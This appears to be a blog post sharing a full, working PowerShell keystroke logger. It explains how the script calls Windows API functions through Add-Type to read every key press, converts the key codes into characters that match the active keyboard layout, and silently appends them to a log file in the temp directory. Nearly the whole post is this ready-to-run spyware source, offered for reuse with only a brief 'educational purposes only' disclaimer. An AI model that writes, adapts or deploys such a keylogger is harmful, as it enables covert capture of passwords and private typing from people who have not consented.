Keystroke logger in Powershell

I’ve found very interesting the possibility to call native Windows API from Powershell.
Personally I find pretty messy the MS Windows API documentation and struggled a bit understanding how to print out a character instead of a key code, but in the end it worked and here is my key logger example.

This script takes care of the active keyboard layout and prints characters depending on it. If you are on a “qwerty” keyboard and press “y” you get “y” while on a “qwertz” keyboard you correctly get “z” when you press “z” instead of getting an unexpected “y”.
Without considering the keyboard layout you’d get the same key code making impossible to distinguish between the two chars.

Here a first version that works, at least on my Windows 7 32 bit (I’ll update this post as I have time to install the 64bit version, but don’t expect any odd behaviour):

<#
PowerShell keystroke logger by shima
Keystroke logger in Powershell
#> function KeyLog {     # MapVirtualKeyMapTypes     # <summary>     # uCode is a virtual-key code and is translated into a scan code.     # If it is a virtual-key code that does not distinguish between left- and     # right-hand keys, the left-hand scan code is returned.     # If there is no translation, the function returns 0.     # </summary>     $MAPVK_VK_TO_VSC = 0x00     # <summary>     # uCode is a scan code and is translated into a virtual-key code that     # does not distinguish between left- and right-hand keys. If there is no     # translation, the function returns 0.     # </summary>     $MAPVK_VSC_TO_VK = 0x01     # <summary>     # uCode is a virtual-key code and is translated into an unshifted     # character value in the low-order word of the return value. Dead keys (diacritics)     # are indicated by setting the top bit of the return value. If there is no     # translation, the function returns 0.     # </summary>     $MAPVK_VK_TO_CHAR = 0x02     # <summary>     # Windows NT/2000/XP: uCode is a scan code and is translated into a     # virtual-key code that distinguishes between left- and right-hand keys. If     # there is no translation, the function returns 0.     # </summary>     $MAPVK_VSC_TO_VK_EX = 0x03     # <summary>     # Not currently documented     # </summary>     $MAPVK_VK_TO_VSC_EX = 0x04     $virtualkc_sig = @' [DllImport("user32.dll", CharSet=CharSet.Auto, ExactSpelling=true)] public static extern short GetAsyncKeyState(int virtualKeyCode); '@     $kbstate_sig = @' [DllImport("user32.dll", CharSet=CharSet.Auto)] public static extern int GetKeyboardState(byte[] keystate); '@     $mapchar_sig = @' [DllImport("user32.dll", CharSet=CharSet.Auto)] public static extern int MapVirtualKey(uint uCode, int uMapType); '@     $tounicode_sig = @' [DllImport("user32.dll", CharSet=CharSet.Auto)] public static extern int ToUnicode(uint wVirtKey, uint wScanCode, byte[] lpkeystate, System.Text.StringBuilder pwszBuff, int cchBuff, uint wFlags); '@     $getKeyState = Add-Type -MemberDefinition $virtualkc_sig -name "Win32GetState" -namespace Win32Functions -passThru     $getKBState = Add-Type -MemberDefinition $kbstate_sig -name "Win32MyGetKeyboardState" -namespace Win32Functions -passThru     $getKey = Add-Type -MemberDefinition $mapchar_sig -name "Win32MyMapVirtualKey" -namespace Win32Functions -passThru     $getUnicode = Add-Type -MemberDefinition $tounicode_sig -name "Win32MyToUnicode" -namespace Win32Functions -passThru     while ($true) {         Start-Sleep -Milliseconds 40         $gotit = ""         for ($char = 1; $char -le 254; $char++) {             $vkey = $char             $gotit = $getKeyState::GetAsyncKeyState($vkey)             if ($gotit -eq -32767) {                 $l_shift = $getKeyState::GetAsyncKeyState(160)                 $r_shift = $getKeyState::GetAsyncKeyState(161)                 $caps_lock = [console]::CapsLock                 $scancode = $getKey::MapVirtualKey($vkey, $MAPVK_VSC_TO_VK_EX)                 $kbstate = New-Object Byte[] 256                 $checkkbstate = $getKBState::GetKeyboardState($kbstate)                 $mychar = New-Object -TypeName "System.Text.StringBuilder";                 $unicode_res = $getUnicode::ToUnicode($vkey, $scancode, $kbstate, $mychar, $mychar.Capacity, 0)                 if ($unicode_res -gt 0) {                     $logfile = "$env:temp\key.log"                     Out-File -FilePath $logfile -Encoding Unicode -Append -InputObject $mychar.ToString()                 }             }         }     } } KeyLog

The code is maintained on GitHub in the Powershell scripts repo.

Others Powershell scripts (external links):

Other versions… jfgi

Uh, don’t forget the usual disclaimer. This example is for educational purposes only, and comes with no warranty or guarantee, okay?